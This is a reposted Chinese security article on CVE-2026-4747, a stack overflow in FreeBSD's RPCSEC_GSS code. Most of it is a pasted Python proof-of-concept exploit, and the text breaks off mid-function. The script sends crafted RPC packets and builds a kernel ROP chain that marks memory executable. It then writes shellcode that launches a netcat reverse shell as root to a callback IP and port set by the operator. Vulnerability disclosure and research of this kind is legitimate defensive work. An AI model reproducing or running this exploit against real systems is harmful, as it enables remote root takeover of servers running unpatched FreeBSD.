CVE-2026-4747|FreeBSD栈溢出漏洞(POC)

admin 2026-04-16 06:28:14 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了CVE-2026-4747FreeBSD栈溢出漏洞,该漏洞存在于kgssapi.ko内核模块和librpcgsssec库的RPCSECGSS协议签名验证过程中,由于未校验数据包长度导致栈溢出,攻击者可通过恶意RPC数据包实现内核或用户态远程代码执行。文档提供了完整的POC利用代码,包含ROP链构造和内核shellcode编写技术,影响所有受支持的FreeBSD版本,建议用户及时更新补丁。 综合评分: 85 文章分类: 漏洞分析,二进制安全,漏洞POC,红队,应急响应


cover_image

CVE-2026-4747|FreeBSD栈溢出漏洞(POC)

alicy alicy

信安百科

2026年4月5日 09:15 河北

在小说阅读器读本章

去阅读

0x00 前言

FreeBSD是一款有着三十余年发展历史的开源类UNIX操作系统,它支持x86、ARM、RISC-V等多硬件架构,采用宽松的BSD许可证,允许用户自由使用、修改和分发代码,甚至可用于商业产品,macOS、任天堂Switch等都复用了它的代码。

在性能与功能上,FreeBSD表现突出,其先进的TCP/IP协议栈让它成为网络服务器的理想选择,能在高负载下稳定运行,同时具备内存保护、抢占式多任务、SMP多处理器支持等特性,保障系统的稳定性与安全性。它还拥有完整的开发工具链,支持C、C++等多种编程语言,通过Ports包管理器可安装超36000款应用程序,兼顾服务器、嵌入式系统、桌面等多场景需求。

0x01 漏洞描述

内核模块 kgssapi.ko 和用户态库 librpcgss_sec 实现了 RPCSEC_GSS 安全协议。

该组件在验证 RPCSEC_GSS 数据包签名时,将数据包的特定部分拷贝到栈缓冲区中,但未校验数据长度是否超过缓冲区容量。

攻击者通过发送构造的恶意 RPC 数据包可触发栈溢出,导致内核态或用户态的远程代码执行(RCE)。

—— ——来源于网络

0x02 CVE编号

CVE-2026-4747

0x03 影响版本

所有受支持的FreeBSD版本

0x04 漏洞详情

POC:

https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/exploit.py

#!/usr/bin/env python3"""CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS Remote Kernel RCE================================================================
Stack buffer overflow in svc_rpc_gss_validate() → 15-round ROP chain→ pmap_change_prot(BSS, RWX) → write shellcode → kproc_create→ kern_execve("/bin/sh -c REVSHELL") → uid 0 reverse shell.
Targets FreeBSD 14.4-RELEASE amd64 GENERIC (no KASLR).Requires a Kerberos ticket: kinit [email protected]
Usage:&nbsp; &nbsp; python3 exploit.py -t <target> -p 2049 --ip <callback_ip> --port <callback_port>&nbsp; &nbsp; python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
&nbsp; &nbsp;- LCFR/x 2026"""
import&nbsp;argparseimport&nbsp;gssapiimport&nbsp;selectimport&nbsp;socketimport&nbsp;structimport&nbsp;sysimport&nbsp;time
# ─── FreeBSD 14.4-RELEASE GENERIC amd64 constants ──────────────────────────
KERNEL_BASE &nbsp; &nbsp; &nbsp;=&nbsp;0xffffffff80200000KERNEL_BSS &nbsp; &nbsp; &nbsp; =&nbsp;0xffffffff8198a000&nbsp; &nbsp; &nbsp;&nbsp;# .bss section startSHELLCODE_ADDR &nbsp; = KERNEL_BSS +&nbsp;0x800&nbsp; &nbsp; &nbsp;&nbsp;# where shellcode is placedSTACK_TOP &nbsp; &nbsp; &nbsp; &nbsp;= KERNEL_BSS +&nbsp;0x1F00&nbsp; &nbsp; &nbsp;# safe stack for shellcodeFAKE_MODULE_BASE = KERNEL_BSS -&nbsp;0x3c000&nbsp; &nbsp;&nbsp;# so reference bss_base = KERNEL_BSS
# ROP gadgets (found via ROPgadget on /boot/kernel/kernel)POP_RDI &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= KERNEL_BASE +&nbsp;0x1adcdaPOP_RSI &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= KERNEL_BASE +&nbsp;0x1cdf98POP_RDX &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= KERNEL_BASE +&nbsp;0x5fa429POP_RAX &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= KERNEL_BASE +&nbsp;0x400cb4MOV_RDI_RAX_RET &nbsp;=&nbsp;0xffffffff80e3457c&nbsp; &nbsp; &nbsp;&nbsp;# mov qword [rdi], rax ; retPMAP_CHANGE_PROT = KERNEL_BASE +&nbsp;0xe4e2f0KTHREAD_EXIT &nbsp; &nbsp; = KERNEL_BASE +&nbsp;0x92c100KPROC_CREATE &nbsp; &nbsp; = KERNEL_BASE +&nbsp;0x92b600
# Kernel function offsets (for shellcode)KPROC_CREATE_OFF &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;0x92b600KTHREAD_EXIT_OFF &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;0x92c100EXEC_ALLOC_ARGS_OFF &nbsp; &nbsp; =&nbsp;0x915500EXEC_ARGS_ADD_FNAME_OFF =&nbsp;0x9155f0EXEC_ARGS_ADD_ARG_OFF &nbsp; =&nbsp;0x915680KERN_EXECVE_OFF &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;0x913040TD_PROC_OFF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;0x08P_VMSPACE_OFF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;0x208P_FLAG_OFF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;0xb8HA_HANDLER_OFF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;0x3c2f0&nbsp;&nbsp;# in fake module layout
# RPC / RPCSEC_GSS constantsLAST_FRAG &nbsp; &nbsp;=&nbsp;0x80000000RPC_VERSION &nbsp;=&nbsp;2NFS_PROGRAM &nbsp;=&nbsp;100003NFS_V3 &nbsp; &nbsp; &nbsp; =&nbsp;3NULLPROC &nbsp; &nbsp; =&nbsp;0AUTH_NONE &nbsp; &nbsp;=&nbsp;0RPCSEC_GSS &nbsp; =&nbsp;6
# Overflow geometry (verified via De Bruijn pattern)RIP_OFFSET &nbsp; =&nbsp;200&nbsp; &nbsp;&nbsp;# credential body byte that overwrites return addressRBX_OFFSET &nbsp; =&nbsp;152&nbsp; &nbsp;&nbsp;# saved RBX (preloaded with KPROC_CREATE for final round)
# Write primitive budget: each 8-byte write costs 5 qwords (40 bytes) of ROPWRITES_PER_ROUND =&nbsp;4&nbsp; &nbsp;# 4 writes × 40B = 160B, plus 24B exit = 184B < 200B budget

# ─── Wire format helpers ────────────────────────────────────────────────────
def&nbsp;p64(v):&nbsp; &nbsp;&nbsp;return&nbsp;struct.pack('<Q', v)
def&nbsp;p32(v):&nbsp; &nbsp;&nbsp;return&nbsp;struct.pack('>I', v)
def&nbsp;xdr_opaque(data):&nbsp; &nbsp; pad = (4&nbsp;-&nbsp;len(data) %&nbsp;4) %&nbsp;4&nbsp; &nbsp;&nbsp;return&nbsp;p32(len(data)) + data +&nbsp;b'\x00'&nbsp;* pad

# ─── Shellcode builder ─────────────────────────────────────────────────────
def&nbsp;build_shellcode(kernel_base, callback_ip, callback_port):&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Build 425-byte x86-64 kernel shellcode for FreeBSD reverse shell.
&nbsp; &nbsp; Two functions:&nbsp; &nbsp; &nbsp; entry &nbsp;— runs on the hijacked NFS thread:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pivots stack, clears DR7, calls kproc_create(worker), kthread_exit()&nbsp; &nbsp; &nbsp; worker — runs in the new kernel process (via fork_exit callback):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;exec_alloc_args → exec_args_add_* → kern_execve("/bin/sh -c REVSHELL")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;clears P_KPROC flag, returns to fork_exit → userret → iretq → userland
&nbsp; &nbsp; Uses the same build logic as FBSD-001/exploit.py build_stage2_shellcode(),&nbsp; &nbsp; with two patches:&nbsp; &nbsp; &nbsp; 1. ha_handler cleanup NOP'd (writes to CTL-specific addresses we don't own)&nbsp; &nbsp; &nbsp; 2. DR7 cleared before kproc_create (prevents inherited hardware breakpoints)&nbsp; &nbsp; """&nbsp; &nbsp; kproc_create &nbsp; &nbsp; &nbsp;= kernel_base + KPROC_CREATE_OFF&nbsp; &nbsp; kthread_exit &nbsp; &nbsp; &nbsp;= kernel_base + KTHREAD_EXIT_OFF&nbsp; &nbsp; exec_alloc_args &nbsp; = kernel_base + EXEC_ALLOC_ARGS_OFF&nbsp; &nbsp; exec_args_add_fname = kernel_base + EXEC_ARGS_ADD_FNAME_OFF&nbsp; &nbsp; exec_args_add_arg = kernel_base + EXEC_ARGS_ADD_ARG_OFF&nbsp; &nbsp; kern_execve &nbsp; &nbsp; &nbsp; = kernel_base + KERN_EXECVE_OFF
&nbsp; &nbsp; bss_base = FAKE_MODULE_BASE +&nbsp;0x3c000&nbsp;&nbsp;# = KERNEL_BSS&nbsp; &nbsp; stack_top = bss_base +&nbsp;0x1F00&nbsp; &nbsp; shellcode_base = bss_base +&nbsp;0x800&nbsp; &nbsp; ha_handler = FAKE_MODULE_BASE + HA_HANDLER_OFF
&nbsp; &nbsp; revshell_cmd = (f"rm -f /tmp/f;mkfifo /tmp/f;"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"cat /tmp/f|/bin/sh -i 2>&1|nc&nbsp;{callback_ip}&nbsp;{callback_port}>/tmp/f &")
&nbsp; &nbsp; code =&nbsp;bytearray()
&nbsp; &nbsp;&nbsp;# ── Entry ───────────────────────────────────────────────────────────────&nbsp; &nbsp;&nbsp;# Stack pivot&nbsp; &nbsp; code +=&nbsp;b'\x48\xb8'&nbsp;+ struct.pack('<Q', stack_top)&nbsp; &nbsp; code +=&nbsp;b'\x48\x89\xc4'
&nbsp; &nbsp;&nbsp;# kproc_create(worker_fn, NULL, NULL, 0, 0, "sh")&nbsp; &nbsp; worker_fn_lea =&nbsp;len(code)&nbsp; &nbsp; code +=&nbsp;b'\x48\x8d\x3d\x00\x00\x00\x00'&nbsp;&nbsp;# lea rdi, [rip + worker_fn]&nbsp; &nbsp; code +=&nbsp;b'\x31\xf6\x31\xd2\x31\xc9\x45\x31\xc0'&nbsp; &nbsp; str_name_lea =&nbsp;len(code)&nbsp; &nbsp; code +=&nbsp;b'\x4c\x8d\x0d\x00\x00\x00\x00'&nbsp;&nbsp;# lea r9, [rip + str_name]
&nbsp; &nbsp;&nbsp;# Patch: clear DR7 before kproc_create (prevents child inheriting stale breakpoints)&nbsp; &nbsp; code +=&nbsp;b'\x31\xc0'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xor eax, eax&nbsp; &nbsp; code +=&nbsp;b'\x0f\x23\xf8'&nbsp; &nbsp; &nbsp;# mov dr7, rax&nbsp; &nbsp; code +=&nbsp;b'\x48\xb8'&nbsp;+ struct.pack('<Q', kproc_create)&nbsp; &nbsp; code +=&nbsp;b'\xff\xd0'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# call rax
&nbsp; &nbsp;&nbsp;# Patch: NOP the ha_handler cleanup (originally zeroed CTL-specific pointers)&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(19):&nbsp; &nbsp; &nbsp; &nbsp; code +=&nbsp;b'\x90'
&nbsp; &nbsp;&nbsp;# kthread_exit&nbsp; &nbsp; code +=&nbsp;b'\x48\xb8'&nbsp;+ struct.pack('<Q', kthread_exit)&nbsp; &nbsp; code +=&nbsp;b'\xff\xd0'&nbsp; &nbsp; code +=&nbsp;b'\xcc'&nbsp;&nbsp;# int3 (unreachable)
&nbsp; &nbsp;&nbsp;# ── Worker ──────────────────────────────────────────────────────────────&nbsp; &nbsp; worker_fn_start =&nbsp;len(code)
&nbsp; &nbsp; code +=&nbsp;b'\x55'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# push rbp&nbsp; &nbsp; code +=&nbsp;b'\x48\x89\xe5'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# mov rbp, rsp&nbsp; &nbsp; code +=&nbsp;b'\x48\x81\xec\x10\x01\x00\x00'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# sub rsp, 0x110&nbsp; &nbsp; code +=&nbsp;b'\x48\x89\x5d\xc0'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov [rbp-0x40], rbx
&nbsp; &nbsp;&nbsp;# Zero image_args&nbsp; &nbsp; code +=&nbsp;b'\x48\x8d\x7d\x80'&nbsp; &nbsp; code +=&nbsp;b'\x31\xc0'&nbsp; &nbsp; code +=&nbsp;b'\xb9\x10\x00\x00\x00'&nbsp; &nbsp; code +=&nbsp;b'\xf3\x48\xab'
&nbsp; &nbsp;&nbsp;# exec_alloc_args(&args)&nbsp; &nbsp; code +=&nbsp;b'\x48\x8d\x7d\x80'&nbsp; &nbsp; code +=&nbsp;b'\x48\xb8'&nbsp;+ struct.pack('<Q', exec_alloc_args)&nbsp; &nbsp; code +=&nbsp;b'\xff\xd0'&nbsp; &nbsp; code +=&nbsp;b'\x85\xc0'&nbsp; &nbsp; fail_jnz =&nbsp;len(code)&nbsp; &nbsp; code +=&nbsp;b'\x0f\x85\x00\x00\x00\x00'&nbsp;&nbsp;# jnz .fail
&nbsp; &nbsp;&nbsp;# exec_args_add_fname(&args, "/bin/sh", UIO_SYSSPACE)&nbsp; &nbsp; code +=&nbsp;b'\x48\x8d\x7d\x80'&nbsp; &nbsp; str_binsh_lea =&nbsp;len(code)&nbsp; &nbsp; code +=&nbsp;b'\x48\x8d\x35\x00\x00\x00\x00'&nbsp; &nbsp; code +=&nbsp;b'\xba\x01\x00\x00\x00'&nbsp; &nbsp; code +=&nbsp;b'\x48\xb8'&nbsp;+ struct.pack('<Q', exec_args_add_fname)&nbsp; &nbsp; code +=&nbsp;b'\xff\xd0'
&nbsp; &nbsp;&nbsp;# exec_args_add_arg(&args, "sh", UIO_SYSSPACE)&nbsp; &nbsp; code +=&nbsp;b'\x48\x8d\x7d\x80'&nbsp; &nbsp; str_sh_lea =&nbsp;len(code)&nbsp; &nbsp; code +=&nbsp;b'\x48\x8d\x35\x00\x00\x00\x00'&nbsp; &nbsp; code +=&nbsp;b'\xba\x01\x00\x00\x00'&nbsp; &nbsp; code +=&nbsp;b'\x48\xb8'&nbsp;+ struct.pack('<Q', exec_args_add_arg)&nbsp; &nbsp; code +=&nbsp;b'\xff\xd0'
&nbsp; &nbsp;&nbsp;# exec_args_add_arg(&args, "-c", UIO_SYSSPACE)&nbsp; &nbsp; code +=&nbsp;b'\x48\x8d\x7d\x80'&nbsp; &nbsp; str_c_lea =&nbsp;len(code)&nbsp; &nbsp; code +=&nbsp;b'\x48\x8d\x35\x00\x00\x00\x00'&nbsp; &nbsp; code +=&nbsp;b'\xba\x01\x00\x00\x00'&nbsp; &nbsp; code +=&nbsp;b'\x48\xb8'&nbsp;+ struct.pack('<Q', exec_args_add_arg)&nbsp; &nbsp; code +=&nbsp;b'\xff\xd0'
&nbsp; &nbsp;&nbsp;# exec_args_add_arg(&args, REVSHELL_CMD, UIO_SYSSPACE)&nbsp; &nbsp; code +=&nbsp;b'\x48\x8d\x7d\x80'&nbsp; &nbsp; str_cmd_lea =&nbsp;len(code)&nbsp; &nbsp; code +=&nbsp;b'\x48\x8d\x35\x00\x00\x00\x00'&nbsp; &nbsp; code +=&nbsp;b'\xba\x01\x00\x00\x00'&nbsp; &nbsp; code +=&nbsp;b'\x48\xb8'&nbsp;+ struct.pack('<Q', exec_args_add_arg)&nbsp; &nbsp; code +=&nbsp;b'\xff\xd0'
&nbsp; &nbsp;&nbsp;# kern_execve(curthread, &args, NULL, oldvmspace)&nbsp; &nbsp; code +=&nbsp;b'\x65\x48\x8b\x3c\x25\x00\x00\x00\x00'&nbsp; &nbsp; code +=&nbsp;b'\x48\x89\x7d\xd0'&nbsp; &nbsp; code +=&nbsp;b'\x48\x8b\x47'&nbsp;+ struct.pack('<b', TD_PROC_OFF)&nbsp; &nbsp; code +=&nbsp;b'\x48\x8b\x88'&nbsp;+ struct.pack('<I', P_VMSPACE_OFF)&nbsp; &nbsp; code +=&nbsp;b'\x48\x8d\x75\x80'&nbsp; &nbsp; code +=&nbsp;b'\x31\xd2'&nbsp; &nbsp; code +=&nbsp;b'\x48\xb8'&nbsp;+ struct.pack('<Q', kern_execve)&nbsp; &nbsp; code +=&nbsp;b'\xff\xd0'
&nbsp; &nbsp;&nbsp;# Check EJUSTRETURN&nbsp; &nbsp; code +=&nbsp;b'\x83\xf8\xfe'&nbsp; &nbsp; success_je =&nbsp;len(code)&nbsp; &nbsp; code +=&nbsp;b'\x74\x00'&nbsp;&nbsp;# je .success
&nbsp; &nbsp;&nbsp;# .fail&nbsp; &nbsp; fail_target =&nbsp;len(code)&nbsp; &nbsp; code +=&nbsp;b'\x48\xb8'&nbsp;+ struct.pack('<Q', kthread_exit)&nbsp; &nbsp; code +=&nbsp;b'\xff\xd0'&nbsp; &nbsp; code +=&nbsp;b'\xcc'
&nbsp; &nbsp;&nbsp;# .success: clear P_KPROC&nbsp; &nbsp; success_target =&nbsp;len(code)&nbsp; &nbsp; code +=&nbsp;b'\x65\x48\x8b\x3c\x25\x00\x00\x00\x00'&nbsp; &nbsp; code +=&nbsp;b'\x48\x8b\x47'&nbsp;+ struct.pack('<b', TD_PROC_OFF)&nbsp; &nbsp; code +=&nbsp;b'\x80\xa0'&nbsp;+ struct.pack('<I', P_FLAG_OFF) +&nbsp;b'\xfb'&nbsp; &nbsp; code +=&nbsp;b'\x48\x8b\x5d\xc0'&nbsp; &nbsp; code +=&nbsp;b'\xc9'&nbsp; &nbsp; code +=&nbsp;b'\xc3'
&nbsp; &nbsp;&nbsp;# ── Strings ─────────────────────────────────────────────────────────────&nbsp; &nbsp; str_binsh_start =&nbsp;len(code); code +=&nbsp;b'/bin/sh\x00'&nbsp; &nbsp; str_c_start =&nbsp;len(code); code +=&nbsp;b'-c\x00'&nbsp; &nbsp; str_cmd_start =&nbsp;len(code); code += revshell_cmd.encode() +&nbsp;b'\x00'&nbsp; &nbsp; str_name_start =&nbsp;len(code); code +=&nbsp;b'sh\x00'
&nbsp; &nbsp;&nbsp;# ── Patch RIP-relative references ───────────────────────────────────────&nbsp; &nbsp;&nbsp;def&nbsp;patch_lea(off, target):&nbsp; &nbsp; &nbsp; &nbsp; rel = target - (off +&nbsp;7)&nbsp; &nbsp; &nbsp; &nbsp; struct.pack_into('<i', code, off +&nbsp;3, rel)
&nbsp; &nbsp; patch_lea(worker_fn_lea, worker_fn_start)&nbsp; &nbsp; patch_lea(str_name_lea, str_name_start)&nbsp; &nbsp; struct.pack_into('<i', code, fail_jnz +&nbsp;2, fail_target - (fail_jnz +&nbsp;6))&nbsp; &nbsp; patch_lea(str_binsh_lea, str_binsh_start)&nbsp; &nbsp; patch_lea(str_sh_lea, str_binsh_start +&nbsp;5) &nbsp;# "sh" = "/bin/sh" + 5&nbsp; &nbsp; patch_lea(str_c_lea, str_c_start)&nbsp; &nbsp; patch_lea(str_cmd_lea, str_cmd_start)&nbsp; &nbsp; struct.pack_into('b', code, success_je +&nbsp;1, success_target - (success_je +&nbsp;2))
&nbsp; &nbsp;&nbsp;# Pad to 8-byte alignment&nbsp; &nbsp;&nbsp;while&nbsp;len(code) %&nbsp;8:&nbsp; &nbsp; &nbsp; &nbsp; code +=&nbsp;b'\x00'
&nbsp; &nbsp;&nbsp;return&nbsp;bytes(code)

# ─── GSS context establishment ──────────────────────────────────────────────
def&nbsp;gss_establish(host, port, spn, retries=6, delay=2):&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Establish an RPCSEC_GSS context with the NFS server.&nbsp; &nbsp; Returns the 16-byte context handle, or None on failure.&nbsp; &nbsp; """&nbsp; &nbsp;&nbsp;for&nbsp;attempt&nbsp;in&nbsp;range(retries):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; name = gssapi.Name(spn, gssapi.NameType.kerberos_principal)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctx = gssapi.SecurityContext(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; name=name, usage='initiate',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; flags=gssapi.RequirementFlag.mutual_authentication)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; token = ctx.step()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;token:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Send RPCSEC_GSS_INIT&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rpc_hdr = (p32(0xaa000001) + p32(0) + p32(RPC_VERSION) +&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;p32(NFS_PROGRAM) + p32(NFS_V3) + p32(NULLPROC))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gss_cred = struct.pack('>IIIII',&nbsp;1,&nbsp;1,&nbsp;0,&nbsp;1,&nbsp;0) &nbsp;# ver,INIT,seq=0,svc=none,handle_len=0&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; body = (rpc_hdr + p32(RPCSEC_GSS) + xdr_opaque(gss_cred) +&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p32(AUTH_NONE) + p32(0) + xdr_opaque(bytes(token)))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pkt = p32(LAST_FRAG |&nbsp;len(body)) + body
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock.settimeout(100)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock.connect((host, port))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock.sendall(pkt)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = sock.recv(8192)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sock.close()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Parse handle from reply&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;len(resp) <&nbsp;32:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rp =&nbsp;16&nbsp;&nbsp;# skip frag(4) + xid(4) + type(4) + reply_stat(4)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rp +=&nbsp;4&nbsp;&nbsp;# verf_flavor&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; vl = struct.unpack('>I', resp[rp:rp+4])[0]; rp +=&nbsp;4&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rp += vl + ((4&nbsp;- vl %&nbsp;4) %&nbsp;4) &nbsp;# skip verf body&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rp +=&nbsp;4&nbsp;&nbsp;# accept_stat&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hlen = struct.unpack('>I', resp[rp:rp+4])[0]; rp +=&nbsp;4&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;hlen >&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;resp[rp:rp+hlen]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;b''
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time.sleep(delay)
&nbsp; &nbsp;&nbsp;return&nbsp;None

# ─── Overflow packet sender ────────────────────────────────────────────────
def&nbsp;send_overflow(host, port, credential_body):&nbsp; &nbsp;&nbsp;"""Send an RPCSEC_GSS DATA packet with the given credential body."""&nbsp; &nbsp; rpc_hdr = (p32(0xdead0001) + p32(0) + p32(RPC_VERSION) +&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;p32(NFS_PROGRAM) + p32(NFS_V3) + p32(NULLPROC))&nbsp; &nbsp; body = (rpc_hdr +&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p32(RPCSEC_GSS) + xdr_opaque(credential_body) +&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p32(RPCSEC_GSS) + xdr_opaque(b'\x00'&nbsp;*&nbsp;16))&nbsp; &nbsp; pkt = p32(LAST_FRAG |&nbsp;len(body)) + body
&nbsp; &nbsp; sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&nbsp; &nbsp; sock.settimeout(10)&nbsp; &nbsp; sock.connect((host, port))&nbsp; &nbsp; sock.sendall(pkt)&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; sock.recv(4096)&nbsp; &nbsp;&nbsp;except&nbsp;(socket.timeout, ConnectionResetError):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass&nbsp; &nbsp; sock.close()

# ─── Credential builder ────────────────────────────────────────────────────
def&nbsp;build_credential(handle, rop_chain, preload_rbx=None):&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Build a 400-byte RPCSEC_GSS credential body that overflows rpchdr[].
&nbsp; &nbsp; Layout:&nbsp; &nbsp; &nbsp; [0..35] &nbsp; &nbsp;GSS header (version=1, proc=DATA, seq=1, svc=integrity, handle)&nbsp; &nbsp; &nbsp; [36..151] &nbsp;Padding (fills rpchdr + local variables)&nbsp; &nbsp; &nbsp; [152..199] Saved registers (rbx, r12-r15, rbp — zeros or preloaded values)&nbsp; &nbsp; &nbsp; [200..399] ROP chain&nbsp; &nbsp; """&nbsp; &nbsp; cred =&nbsp;bytearray(400)
&nbsp; &nbsp;&nbsp;# GSS DATA header&nbsp; &nbsp; struct.pack_into('>IIII', cred,&nbsp;0,&nbsp;1,&nbsp;0,&nbsp;1,&nbsp;2) &nbsp;# version, DATA, seq=1, svc=integrity&nbsp; &nbsp; struct.pack_into('>I', cred,&nbsp;16,&nbsp;len(handle))&nbsp; &nbsp; cred[20:20+len(handle)] = handle&nbsp; &nbsp;&nbsp;# bytes 36..151 stay zero (padding)
&nbsp; &nbsp;&nbsp;# Preload KPROC_CREATE into saved RBX for the final round's shellcode entry&nbsp; &nbsp;&nbsp;if&nbsp;preload_rbx&nbsp;is&nbsp;not&nbsp;None:&nbsp; &nbsp; &nbsp; &nbsp; struct.pack_into('<Q', cred, RBX_OFFSET, preload_rbx)
&nbsp; &nbsp;&nbsp;# ROP chain at byte 200&nbsp; &nbsp;&nbsp;if&nbsp;len(rop_chain) >&nbsp;200:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;ValueError(f"ROP chain too long:&nbsp;{len(rop_chain)}&nbsp;> 200 bytes")&nbsp; &nbsp; cred[RIP_OFFSET:RIP_OFFSET+len(rop_chain)] = rop_chain
&nbsp; &nbsp;&nbsp;return&nbsp;bytes(cred)

# ─── ROP chain builders ────────────────────────────────────────────────────
def&nbsp;rop_pmap_and_exit():&nbsp; &nbsp;&nbsp;"""Round 1: make BSS executable, then clean thread exit."""&nbsp; &nbsp; rop =&nbsp;bytearray()&nbsp; &nbsp; rop += p64(POP_RDI) + p64(KERNEL_BSS)&nbsp; &nbsp; rop += p64(POP_RSI) + p64(0x2000) &nbsp; &nbsp; &nbsp;&nbsp;# 2 pages&nbsp; &nbsp; rop += p64(POP_RDX) + p64(7) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# VM_PROT_ALL (RWX)&nbsp; &nbsp; rop += p64(PMAP_CHANGE_PROT)&nbsp; &nbsp; rop += p64(POP_RDI) + p64(0)&nbsp; &nbsp; rop += p64(KTHREAD_EXIT)&nbsp; &nbsp;&nbsp;return&nbsp;bytes(rop)

def&nbsp;rop_write_qwords(writes, exit_or_jump):&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Write up to 4 qwords to kernel memory, then either kthread_exit or jump.
